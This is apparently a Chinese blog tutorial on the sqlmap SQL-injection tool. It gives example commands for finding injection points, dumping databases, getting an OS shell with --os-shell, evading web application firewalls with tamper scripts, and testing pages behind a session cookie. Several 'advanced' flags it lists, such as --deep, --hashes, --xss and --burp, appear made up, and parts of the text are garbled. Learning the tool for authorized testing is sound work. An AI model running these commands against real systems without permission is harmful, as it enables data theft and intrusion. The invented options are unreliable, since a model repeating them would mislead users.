sqlmap

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
Web应用防火墙 3.0,每月20元额度 3个月
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
简介: sqlmap

image.png

SQLmap

SQLmap可以在大多数Linux发行版上运行,也可以在Windows上运行。安装步骤通常包括:

克隆SQLmap的GitHub仓库。

确保Python环境已安装,因为SQLmap是用Python编写的。

运行SQLmap

SQLmap的基本命令格式如下:

sqlmap [options]


[options]:指定SQLmap的选项,如目标URL、注入类型、数据库类型等。

示例

检测注入点:

sqlmap -u ""


这将检测给定URL是否存在SQL注如漏动。

指定注入点:

sqlmap -u "" --data="param1=value1¶m2=value2"


这将针对POST请求中的特定数据进行SQL注如检测。

指定数据库类型:

sqlmap -u "" --dbms=mysql


这将指定后端数据库为MySQL。

提取数据:

sqlmap -u "" --dump


这将尝试从数据库中提取数据。

执行操作系统命令:

sqlmap -u "" --os-shell

这将尝试在数据库服务器上获取一个交互式的shell。

Tamper脚本

SQLmap支持Tamper脚本,这些脚本可以修改注入数据,以绕过WAF或其他安全措施。例如:

sqlmap -u "" --tamper=space2comment


这将使用space2commentTamper脚本来替换空格字符,以绕过基于空格的过滤。

进阶用法

image.png

SQLmap的高级用法涉及一些更复杂和特定的功能,这些功能可以帮助渗投测试人员更深入地挖掘和利用SQL注如漏动。以下是一些高级用法的例子:

自定义注入语法

SQLmap允许用户自定义注入语法,这在处理一些非标准的数据库或特殊注入场景时非常有用。通过--custom-inject参数,用户可以定义自己的注入语法。

sqlmap -u "http://example.com" --custom-inject='payload'

2. 多线程扫描

在处理大型网站或多个注入点时,使用多线程可以显著提高扫描效率。通过--threads参数,用户可以指定并发线程的数量。

sqlmap -u "http://example.com" --threads=5


3. 深度探测模式

深度探测模式(--deep)可以对网站进行全面的SQL注如测试,包括检测隐藏的注入点和执行更详细的测试。

sqlmap -u "http://example.com" --deep

4. 代理设置

在需要通过代理服务器进行测试时,SQLmap支持设置HTTP代理。

sqlmap -u "http://example.com" --proxy="http://127.0.0.1:8080"

5. 避免WAF检测

有些网站可能会使用Web应用防火墙(WAF)来阻止SQL注如公鸡。SQLmap提供了一些选项来避免WAF的检测,比如使用--randomize参数随机化注入语法,或者使用--tamper参数配合不同的Tamper脚本。

sqlmap -u "http://example.com" --randomize=space,comment  
sqlmap -u "http://example.com" --tamper=space2comment,randomcase


6. 执行自定义SQL语句

通过--sql-query参数,用户可以执行自定义的SQL语句,这在需要执行特定查询时非常有用。

sqlmap -u "http://example.com" --sql-query="SELECT * FROM users WHERE id=1"


7. 提取数据库结构

SQLmap可以提取数据库的完整结构,包括表、列和索引信息。使用--dbs参数可以列出所有数据库,--tables参数可以列出指定数据库的所有表,--columns参数可以列出指定表的所有列。

sqlmap -u "http://example.com" --dbs  
sqlmap -u "http://example.com" --tables -D database_name  
sqlmap -u "http://example.com" --columns -T table_name -D database_name

8.自动破接密码哈希

如果数据库中存储了密码哈希,SQLmap可以通过字典公鸡自动破接这些哈希。使用--hashes参数指定哈希字段,--wordlist参数指定字典文件。

sqlmap -u "http://example.com" --hashes="password_hash" --wordlist="/path/to/wordlist.txt"

9. 跨站脚本(XSS)检测

SQLmap还支持检测跨站脚本(XSS)漏动。使用--xss参数可以启用XSS检测。

sqlmap -u "http://example.com" --xss


10. 与其他工具集成

SQLmap可以与其他渗投测试工具集成,比如Burp Suite、Metasploit等。通过--burp参数可以启用与Burp Suite的集成。

sqlmap -u "http://example.com" --burp


11.cookie

image.png

示例场景

假设你已经确定了一个潜在的SQL注如点,但是该页面需要通过Cookie进行身份验证。你需要将Cookie信息传递给SQLmap,以便它可以模拟登录状态并执行注入测试。

示例步骤

获取Cookie值:首先,你需要从浏览器或使用其他工具(如curl、Postman等)获取到所需的Cookie值。例如,你可能得到了一个名为sessionid的Cookie值,其值为abc123。

使用SQLmap加载Cookie:接下来,你可以使用SQLmap的--cookie参数来指定这个Cookie值。以下是一个基本的命令示例:

sqlmap -u "http://example.com/protected_page" --cookie="sessinotallow=abc123"

1.

这个命令告诉SQLmap在发送HTTP请求时包含指定的Cookie值。

指定其他选项:除了加载Cookie之外,你可能还需要指定其他选项,比如要测试的注入类型、数据库管理系统等。例如:

sqlmap -u "http://example.com/protected_page" --cookie="sessinotallow=abc123" --level=5 --risk=3 --dbms=mysql

1.

在这个命令中,--level=5表示使用最高级别的测试,--risk=3表示使用最高风险级别的测试,--dbms=mysql指定了后端数据库为MySQL。

执行测试:运行上述命令后,SQLmap将开始执行SQL注如测试,同时保持会话的登录状态,因为它包含了正确的Cookie值。

注意事项

Cookie的有效性:确保你提供的Cookie值是有效的,并且没有过期。如果Cookie无效或过期,SQLmap可能无法正确地模拟登录状态。

隐私和合规性:在使用SQLmap进行测试时,确保你有权访问和测试目标系统。未经授权的测试可能违反法律和道德规范。

结果分析:测试完成后,仔细分析SQLmap的输出结果,以确定是否存在SQL注如漏动,并采取相应的修复措施。

image.png

相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。   相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情: https://www.aliyun.com/product/rds/mysql 
相关文章
|
安全 NoSQL 关系型数据库
网络安全——利用ssrf操作内网redis写入计划任务反弹shell
今天的内容是ssrf漏洞的利用,环境选择的是discuz含有ssrf漏洞的版本,通过该漏洞来写入redis计划任务反弹shell,直接看操作
841 0
网络安全——利用ssrf操作内网redis写入计划任务反弹shell
|
11月前
|
安全 搜索推荐 生物认证
FOFA基础和使用技巧
FOFA基础和使用技巧
|
11月前
|
SQL 安全 数据库
sql注入技术
sql注入技术
|
11月前
|
SQL 监控 安全
sql注入场景与危害
sql注入场景与危害
|
11月前
|
网络协议 安全 Linux
|
11月前
|
安全
红队测试方法论-课程笔记
红队测试方法论-课程笔记
红队测试方法论-课程笔记
|
11月前
|
SQL 安全 Shell
命令执行漏懂利用
命令执行漏懂利用
命令执行漏懂利用
|
11月前
|
域名解析 网络协议 安全
|
11月前
|
存储 安全 Java
【用Java学习数据结构系列】探索顺序表和链表的无尽秘密(附带练习唔)pro
【用Java学习数据结构系列】探索顺序表和链表的无尽秘密(附带练习唔)pro
75 3
|
11月前
|
SQL 缓存 监控
熟悉kali(二)
熟悉kali(二)